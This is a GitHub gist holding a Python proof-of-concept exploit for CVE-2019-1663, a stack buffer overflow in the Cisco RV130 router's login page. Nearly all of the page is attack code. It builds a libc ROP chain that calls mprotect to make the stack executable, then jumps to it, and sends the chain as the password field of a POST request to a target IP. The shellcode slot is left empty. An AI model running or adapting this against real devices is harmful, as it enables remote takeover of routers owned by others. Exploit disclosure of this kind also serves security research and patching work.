Last active
March 22, 2019 21:22
-
-
Save qkaiser/d786e7ebaab02b93566d55421ffc969d to your computer and use it in GitHub Desktop.
PoC for Cisco RV130 stack-based buffer overflow (CVE-2019-1663).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
Exploit for Cisco RV130 stack-based buffer overflow (CVE-2019-1663). | |
This piece of code will get you proper 'return to zero protection', that is | |
an executable stack (thanks, mprotect) and $pc pointing to the beginning of | |
the stack. | |
Enjoy your shells responsibly :) | |
""" | |
import struct | |
import sys | |
import requests | |
shellcode = "" | |
libc_base_addr = 0x357fb000 | |
mprotect_offset = 0x0000dcf8 | |
stack_align = 0xfffff001 | |
gadget1 = 0x00034410 # pop {r0, pc}; | |
gadget2 = 0x0000c19c # pop {r4, r5, r6, pc}; | |
gadget3 = 0x0005a333 # adds r0, #0x27; bx r6; (thumb) | |
gadget4 = 0x0002c7f0 # pop {lr}; add sp, sp, #8; bx lr; | |
gadget5 = 0x0000bc30 # pop {r4, pc}; | |
gadget6 = 0x0002dea8 # mov r2, r0; asr r3, r2, #0x1f; mov r1, r3; mov r0, r2; bx lr; | |
gadget7 = 0x00052634 # pop {r1, pc}; | |
gadget8 = 0x0002a135 # (0x0002a135): pop {r3, r7, pc}; | |
gadget9 = 0x00037884 # mov r0, sp; blx r3 | |
gadget10 = 0x00010448 # and r0, r0, r5; add sp, sp, #4; pop {r4, r5, pc} | |
# can't even find proper 'bx sp' in embedded libc nowadays.. | |
libgcc_s = 0x35872000 | |
gadget11 = 0x00002dd8 # bx sp; in libgcc_s.so.1 | |
def exploit(ip): | |
buf = "A" * 446 | |
buf += struct.pack("<L", libc_base_addr + gadget1) | |
buf += struct.pack("<L", 0xffffffe0) # r0 | |
buf += struct.pack("<L", libc_base_addr + gadget2) | |
buf += "XXXX" # r4 | |
buf += struct.pack("<L", stack_align) #r5, used to page align r0 | |
buf += struct.pack("<L", libc_base_addr + gadget4) #r6 | |
buf += struct.pack("<L", libc_base_addr + gadget3) #pc | |
buf += struct.pack("<L", libc_base_addr + gadget5) #lr | |
buf += "XXXX" # stack lift | |
buf += "XXXX" # stack lift | |
buf += "XXXX" # r4 | |
buf += struct.pack("<L", libc_base_addr + gadget6) #pc | |
# NOTE: at this point r2 = 0x07 (RWX for mprotect) | |
buf += "XXXX" # r4 | |
buf += struct.pack("<L", libc_base_addr + gadget7) #pc | |
buf += struct.pack("<L", 0x01010101) #r1, size for mprotect | |
# NOTE: at this point r1 = 0x01010101 (size for mprotect) | |
buf += struct.pack("<L", libc_base_addr + gadget8) # pc | |
buf += struct.pack("<L", libc_base_addr + gadget10) # r3, will branch to later | |
buf += "XXXX" # r7 | |
buf += struct.pack("<L", libc_base_addr + gadget9) # pc | |
buf += "YYYY" # stack lift | |
buf += "ZZZZ" # stack lift | |
buf += "XXXX" #r4 | |
buf += struct.pack("<L", libc_base_addr + mprotect_offset) # pc | |
buf += "XXXX" #r7 | |
buf += struct.pack("<L", libgcc_s + gadget11) #pc | |
buf += shellcode | |
# damn shellcode is giving me SIGILL | |
params = { | |
"submit_button": "login", | |
"submit_type": None, | |
"gui_action": None, | |
"wait_time": 0, | |
"change_action": None, | |
"enc": 1, | |
"user": "cisco", | |
"pwd": buf, | |
"sel_lang": "EN" | |
} | |
requests.post("https://%s/login.cgi" % ip, data=params, verify=False) | |
if __name__ == '__main__': | |
if len(sys.argv) != 2: | |
print("Usage: %s ip" % (sys.argv[0])) | |
sys.exit(1) | |
exploit(sys.argv[1]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment